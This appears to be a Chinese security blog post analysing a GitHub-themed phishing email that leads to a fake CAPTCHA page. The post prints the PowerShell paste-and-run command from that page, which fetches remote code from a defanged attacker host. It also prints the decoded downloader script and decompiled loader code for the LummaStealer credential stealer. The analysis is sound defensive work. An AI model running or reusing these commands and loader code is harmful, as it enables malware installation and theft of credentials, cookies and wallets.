part1
点击上方蓝字关注我们
往期推荐
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
摘要
每一个开源项目开发人员,经常会收到Github的电子邮件, 其中大多数是代表Github用户发送的通知邮件, 这其中包括有人在存储库上创建的问题, 或者回复问题留下的评论,或者打开了一个拉取请求, 或者用户可能试图冒充Github官方诱骗和下载恶意软件。从长期混迹于Github的开发人员角度, 可能会认为自己永远不会遭受钓鱼攻击, 但在本篇文章中, 将揭示攻击者是怎样利用一个URL链接进行渗透。
初步分析
首先看一下以下这封看起来来自Github安全团队的邮件:
从这封邮件的内容来看, 大致意思是对方发现我的存储库中有安全漏洞, 然后访问 https://github-scanner.com这个网站获取如何修复该漏洞的详细方案。最后的署名是Github安全团队。从邮件标题和邮件内容的URL,再结合之前收到的邮件综合判断, 这封邮件不太正常。
打开virustotal.com,将该URL放上去进行扫描,结果如下:
果然是一个钓鱼性质的网站, 心里有底之后, 接下来访问钓鱼网站看看。
钓鱼网站分析
打开钓鱼网站, 显示了一个常规对话框, 如图:
该对话框比较常见,通常称为:CAPTCHA, 它是通过设计一些对人类简单但对机器很难处理的任务来区分用户是人类还是机器人。这种措施可以防止一些行为,例如:防止自动化攻击、防止垃圾内容、防止刷票或作弊行为、流量异常行为、网站安全措施等。
继续点击对话框中的链接, 以下的操作有点不同寻常:
按照我的思路,这里应该弹出图像识别对话框, 或者"我不是机器人"的复选框、或者文本验证码和滑动拼图等。
看来这里要露出真实面目了, 大致意思是让我打开"运行"对话框执行某些指令, 先将其复制到记事本看看内容。
恶意软件分析
粘贴过来的命令内容如下:
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
该命令的作用是启动一个新的 Windows PowerShell 进程并隐藏窗口,然后运行命令来下载脚本文件并执行它。iex
是Invoke-Expression
的内置别名, iwr
是Invoke-WebRequest
。对于Linux 用户来说,这相当于调用curl | bash
。文件末尾有一条注释,由于 Windows 运行框的窗口大小有限,有效地隐藏了脚本的第一部分,因此用户只能看到以下内容:
最终还原的脚本如下所示:
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe"
$filePath1 = "$env:TEMPSysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)Start-Process -FilePath $env:TEMPSysSetup.exe
该脚本非常简单,几乎没有任何混淆。其目的是下载文件l6E.exe
,将其另存为 <User Home>AppDataLocalTempSysSetup.exe
,然后运行该文件。
首先在 Windows 资源管理器中查看了 exe 程序,发现它有一个数字签名, 如图:
从上面的签名信息来看, 使用的证书来自 Spotify,但这里恶意二进制文件的签名是无效的, 这意味着这很可能只是从合法签名的 Spotify 二进制文件复制的假签名。
从这里可以看出, 恶意软件利用了Windows的两个弱点:
弱点一: 对于从互联网下载的二进制程序,Windows在运行带有无效代码签名的exe之前没有任何警告。
弱点二:删除Web标记非常容易,如果 .NET 库设置了该标志,攻击者就可以在启动进程之前轻松将其删除。
从原理角度, Windows是通过所谓的"Web标记"来去确定某些内容是否从Internet下载。通俗点讲, 就是在文件的元数据中设置一个小标记, 表明其来自互联网。浏览器和第三方软件可以设置该标志, 第三方软件可以查找该标志来更改设置以实现不同的行为。
根据以上原理,当使用浏览器下载恶意软件并尝试打开的时候, 会在对话框底部看到一个应用程序没有有效签名的对话框,如图:
但是使用PowerShell下载恶意软件就没有这个待遇了, 因为使用PowerShell下载,实际上是利用.NET Framework中的System.Net.WebClient类, 该类有一个方法,名为:DownloadFile, 它的作用是将文件下载到本地路径, 但该方法不会为下载文件设置上面提到的"Web标记"。
以下是恶意软件和使用.NET API下载文件的对比:
通过分析发现,l6E.exe似乎是一个.NET程序, 利用dotPeek进行反编译, 在代码中有两个地方很重要, 即:入口点和PersonalActivation方法。
入口点隐藏控制台窗口,在后台线程中调用PersonalActivation
两次,然后使用VirtualProtect
将内存区域标记为可执行文件,然后使用CallWindowProcW
执行它。
private static void Main(string[] args)
{
Resolver resolver = new Resolver("Consulter", 100);
Program.FreeConsole();
double num = (double) Program.UAdhuyichgAUIshuiAuis();
Task.Run((Action) (() =>
{
Program.PersonalActivation(new List<int>(), Program.AIOsncoiuuA, Program.Alco);
Program.PersonalActivation(new List<int>(), MoveAngles.userBuffer, MoveAngles.key);
}));
Thread.Sleep(1000);
uint ASxcgtjy = 0;
Program.VirtualProtect(ref Program.AIOsncoiuuA[0], Program.AIOsncoiuuA.Length, 64U, ref ASxcgtjy);
int index = 392;
Program.CallWindowProcW(ref Program.AIOsncoiuuA[index], MoveAngles.userBuffer, 0, 0, 0);
}
PersonalActivation 函数接收一个列表和两个字节数组。列表参数没有被使用,第一个字节数组是数据缓冲区,第二个被标记为 key(密钥)看起来像是某种形式的解密器,但不清楚是什么算法。
这里做了一下处理, 注释掉对VirtualProtect
和CallWindowProcW
两个调用, 并编译了其余代码并在调试器中运行,以便可以查看两个解密缓冲区的内容。第一个缓冲区包含对CreateProcess
调用, 如图:
第二个缓冲区一看就比较熟悉了,如图:
现在大致可以知道, 代码顶部的大字节数组是一个“加密”的exe,该加载程序将其放入内存中,将其标记为可执行文件,然后执行它。
将两个程序直接扔给virustotal.com看看结果,如图:
其中看到一个关键字样:LUMMASTEALER,该恶意软件描述如下:
LummaStealer 是一种在 MaaS(恶意软件即服务)模型上运行的信息窃取程序。它可以提取各种敏感数据,包括登录凭据、cookie、浏览器历史记录以及信用卡或加密货币钱包详细信息。
往期推荐
点个在看你最好看
原文始发于微信公众号(二进制空间安全):追踪来自Github安全团队钓鱼邮件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论